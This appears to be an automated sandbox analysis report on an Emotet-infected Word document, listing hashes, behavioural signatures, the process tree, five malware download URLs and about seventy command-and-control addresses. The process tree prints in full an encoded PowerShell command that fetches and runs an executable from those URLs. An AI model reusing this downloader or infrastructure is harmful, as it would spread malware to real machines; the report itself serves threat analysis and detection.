Analysis
- max time kernel
145s - max time network
138s - platform
windows10_x64 - resource
win10v200722 - submitted
07/08/2020, 11:12
Static task
static1
Behavioral task
behavioral1
Sample
SI3326352814UW.doc
Resource
win7
General
- Target SI3326352814UW.doc
- Size 164KB
- Sample200807-mrbvb1e5gj
- SHA256 ee027ba8eb249165a6b4ced43776c362fe3378870deab870556aa490a411eac0
- MD5 bac8b7a7d10361d9df8211fd1ac88a3a
- SHA1 c98df6169a449be100aea7ffa6dd2c42361a7b92
- SHA512 d3849cb5f8fc79c56a47cebf5bc8a68188589bc681ae7ea6a2f572a30b61503f7a6c40db3ff9a7396a6280252cc66c94ba0b943c8b47d41e07977b81d1a4fcd1
- MD5 SHA1 SHA512
Malware Config
Extracted
-
ps1
-
exe.dropper
http://www.novelideas.com/editor/x_fr6_s15/
-
exe.dropper
https://nationalboilermaking.com.au/verimages/2_hnrh_z6b/
-
exe.dropper
http://norahkhi.com/cgi-bin/3_69_x/
-
exe.dropper
http://nightowlmusic.net/news=year/8s9a4_rd_bgq/
-
exe.dropper
http://nsb.org.uk/plesk-stat/auai_ow6_n1w7n7/
Extracted
-
emotet
-
47.146.32.175:80
-
212.51.142.238:8080
-
200.55.243.138:8080
-
114.146.222.200:80
-
153.126.210.205:7080
-
121.124.124.40:7080
-
222.214.218.37:4143
-
67.241.24.163:8080
-
180.92.239.110:8080
-
203.153.216.189:7080
-
119.198.40.179:80
-
70.167.215.250:8080
-
168.235.67.138:7080
-
190.55.181.54:443
-
139.59.60.244:8080
-
189.212.199.126:443
-
78.24.219.147:8080
-
61.19.246.238:443
-
137.59.187.107:8080
-
87.106.139.101:8080
-
47.146.117.214:80
-
201.173.217.124:443
-
91.231.166.124:8080
-
181.230.116.163:80
-
103.86.49.11:8080
-
47.153.182.47:80
-
72.12.127.184:443
-
76.27.179.47:80
-
83.110.223.58:443
-
91.211.88.52:7080
-
204.197.146.48:80
-
162.241.92.219:8080
-
79.98.24.39:8080
-
65.111.120.223:80
-
37.139.21.175:8080
-
139.130.242.43:80
-
157.147.76.151:80
-
104.131.44.150:8080
-
104.131.11.150:443
-
183.101.175.193:80
-
113.160.130.116:8443
-
41.60.200.34:80
-
109.74.5.95:8080
-
190.160.53.126:80
-
87.106.136.232:8080
-
46.105.131.79:8080
-
157.245.99.39:8080
-
62.138.26.28:8080
-
185.94.252.104:443
-
165.165.171.160:8080
-
75.139.38.211:80
-
116.203.32.252:8080
-
142.105.151.124:443
-
50.116.86.205:8080
-
176.111.60.55:8080
-
93.51.50.171:8080
-
37.187.72.193:8080
-
81.2.235.111:8080
-
5.39.91.110:7080
-
124.45.106.173:443
-
24.234.133.205:80
-
209.141.54.221:8080
-
110.145.77.103:80
-
5.196.74.210:8080
-
200.41.121.90:80
-
62.75.141.82:80
-
95.179.229.244:8080
-
24.179.13.119:80
-
74.208.45.104:8080
-
104.236.246.93:8080
-
47.144.21.12:443
-
24.43.99.75:80
-
95.213.236.64:8080
-
169.239.182.217:8080
-
209.182.216.177:443
-
152.168.248.128:443
Signatures
- Suspicious behavior: AddClipboardFormatListener 2 IoCs
pid Process 424 WINWORD.EXE 424 WINWORD.EXE - Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 4052 powersheLL.exe - Executes dropped EXE 2 IoCs
pid Process 3644 940.exe 3288 cmutil.exe - Emotet Payload 4 IoCs
Detects Emotet payload in memory.
resource yara_rule behavioral2/memory/3644-13-0x0000000000550000-0x000000000055C000-memory.dmp emotet behavioral2/memory/3644-13-0x0000000000550000-0x000000000055C000-memory.dmp emotet behavioral2/memory/3288-17-0x0000000000560000-0x000000000056C000-memory.dmp emotet behavioral2/memory/3288-17-0x0000000000560000-0x000000000056C000-memory.dmp emotet - Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WINWORD.EXE - Drops file in System32 directory 1 IoCs
description ioc Process File opened for modification C:\Windows\SysWOW64\nddeapi\cmutil.exe 940.exe - Suspicious use of SetWindowsHookEx 13 IoCs
pid Process 424 WINWORD.EXE 424 WINWORD.EXE 424 WINWORD.EXE 424 WINWORD.EXE 424 WINWORD.EXE 424 WINWORD.EXE 424 WINWORD.EXE 424 WINWORD.EXE 424 WINWORD.EXE 424 WINWORD.EXE 424 WINWORD.EXE 3644 940.exe 3288 cmutil.exe - Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 4052 816 powersheLL.exe 66 - Suspicious behavior: EnumeratesProcesses 7 IoCs
pid Process 4052 powersheLL.exe 4052 powersheLL.exe 4052 powersheLL.exe 3288 cmutil.exe 3288 cmutil.exe 3288 cmutil.exe 3288 cmutil.exe - Blacklisted process makes network request 1 IoCs
flow pid Process 22 4052 powersheLL.exe - Suspicious use of WriteProcessMemory 3 IoCs
description pid Process procid_target PID 3644 wrote to memory of 3288 3644 940.exe 77 PID 3644 wrote to memory of 3288 3644 940.exe 77 PID 3644 wrote to memory of 3288 3644 940.exe 77 - Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WINWORD.EXE
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\SI3326352814UW.doc" /o ""1⤵
- Suspicious behavior: AddClipboardFormatListener
- Enumerates system info in registry
- Suspicious use of SetWindowsHookEx
- Checks processor information in registry
PID:424
-
C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exepowersheLL -e JABLAEcAVABUAEIAYQBkAGcAPQAnAFUAWABTAFEAQQByAHUAbwAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBzAGUAYwBgAFUAYABSAGkAVAB5AFAAUgBgAE8AVABvAGMAbwBMACIAIAA9ACAAJwB0AGwAcwAxADIALAAgAHQAbABzADEAMQAsACAAdABsAHMAJwA7ACQARwBOAEYATQBHAHUAeABhACAAPQAgACcAOQA0ADAAJwA7ACQARABVAEQARABPAG4AbgBsAD0AJwBTAEkAQQBHAEkAdgB2AG4AJwA7ACQAUABMAEEAUwBTAGwAZAB2AD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACcAXAAnACsAJABHAE4ARgBNAEcAdQB4AGEAKwAnAC4AZQB4AGUAJwA7ACQAVgBLAEEAUABMAGQAagB4AD0AJwBRAE4ATwBTAFMAdgBiAHcAJwA7ACQAQQBBAFYARwBNAGsAZABrAD0ALgAoACcAbgBlAHcAJwArACcALQBvACcAKwAnAGIAagBlAGMAdAAnACkAIABOAGUAdAAuAFcARQBCAEMATABpAGUAbgB0ADsAJABXAE4AUABIAEoAZQB1AHoAPQAnAGgAdAB0AHAAOgAvAC8AdwB3AHcALgBuAG8AdgBlAGwAaQBkAGUAYQBzAC4AYwBvAG0ALwBlAGQAaQB0AG8AcgAvAHgAXwBmAHIANgBfAHMAMQA1AC8AKgBoAHQAdABwAHMAOgAvAC8AbgBhAHQAaQBvAG4AYQBsAGIAbwBpAGwAZQByAG0AYQBrAGkAbgBnAC4AYwBvAG0ALgBhAHUALwB2AGUAcgBpAG0AYQBnAGUAcwAvADIAXwBoAG4AcgBoAF8AegA2AGIALwAqAGgAdAB0AHAAOgAvAC8AbgBvAHIAYQBoAGsAaABpAC4AYwBvAG0ALwBjAGcAaQAtAGIAaQBuAC8AMwBfADYAOQBfAHgALwAqAGgAdAB0AHAAOgAvAC8AbgBpAGcAaAB0AG8AdwBsAG0AdQBzAGkAYwAuAG4AZQB0AC8AbgBlAHcAcwA9AHkAZQBhAHIALwA4AHMAOQBhADQAXwByAGQAXwBiAGcAcQAvACoAaAB0AHQAcAA6AC8ALwBuAHMAYgAuAG8AcgBnAC4AdQBrAC8AcABsAGUAcwBrAC0AcwB0AGEAdAAvAGEAdQBhAGkAXwBvAHcANgBfAG4AMQB3ADcAbgA3AC8AJwAuACIAcwBgAFAAbABJAHQAIgAoAFsAYwBoAGEAcgBdADQAMgApADsAJABIAEQARQBGAE4AbwBnAG8APQAnAFUAUgBKAFUARgBkAHcAcwAnADsAZgBvAHIAZQBhAGMAaAAoACQARQBPAFUARABJAGYAZgB1ACAAaQBuACAAJABXAE4AUABIAEoAZQB1AHoAKQB7AHQAcgB5AHsAJABBAEEAVgBHAE0AawBkAGsALgAiAEQAYABvAFcAbgBgAEwATwBBAGQARgBpAEwARQAiACgAJABFAE8AVQBEAEkAZgBmAHUALAAgACQAUABMAEEAUwBTAGwAZAB2ACkAOwAkAFYATwBKAEEAVAByAG8AeAA9ACcASQBBAFEARQBFAG0AaABuACcAOwBJAGYAIAAoACgALgAoACcARwAnACsAJwBlAHQAJwArACcALQBJAHQAZQBtACcAKQAgACQAUABMAEEAUwBTAGwAZAB2ACkALgAiAEwAZQBgAE4AZwBgAFQAaAAiACAALQBnAGUAIAAyADcANQA1ADEAKQAgAHsAKABbAHcAbQBpAGMAbABhAHMAcwBdACcAdwBpAG4AMwAyAF8AUAByAG8AYwBlAHMAcwAnACkALgAiAGMAcgBgAEUAYABBAFQARQAiACgAJABQAEwAQQBTAFMAbABkAHYAKQA7ACQAUABXAEwASQBXAGQAbwBnAD0AJwBWAEgASwBWAFoAaABmAGgAJwA7AGIAcgBlAGEAawA7ACQARwBKAE4AUgBRAHEAeQBvAD0AJwBQAE0AVwBOAFIAdQBkAGQAJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQASwBGAE0AWABFAGsAeQBjAD0AJwBZAEUAUgBXAFkAZQBjAGgAJwA=1⤵
- Suspicious use of AdjustPrivilegeToken
- Process spawned unexpected child process
- Suspicious behavior: EnumeratesProcesses
- Blacklisted process makes network request
PID:4052
-
C:\Users\Admin\940.exeC:\Users\Admin\940.exe1⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3644 -
C:\Windows\SysWOW64\nddeapi\cmutil.exe"C:\Windows\SysWOW64\nddeapi\cmutil.exe"2⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
- Suspicious behavior: EnumeratesProcesses
PID:3288
-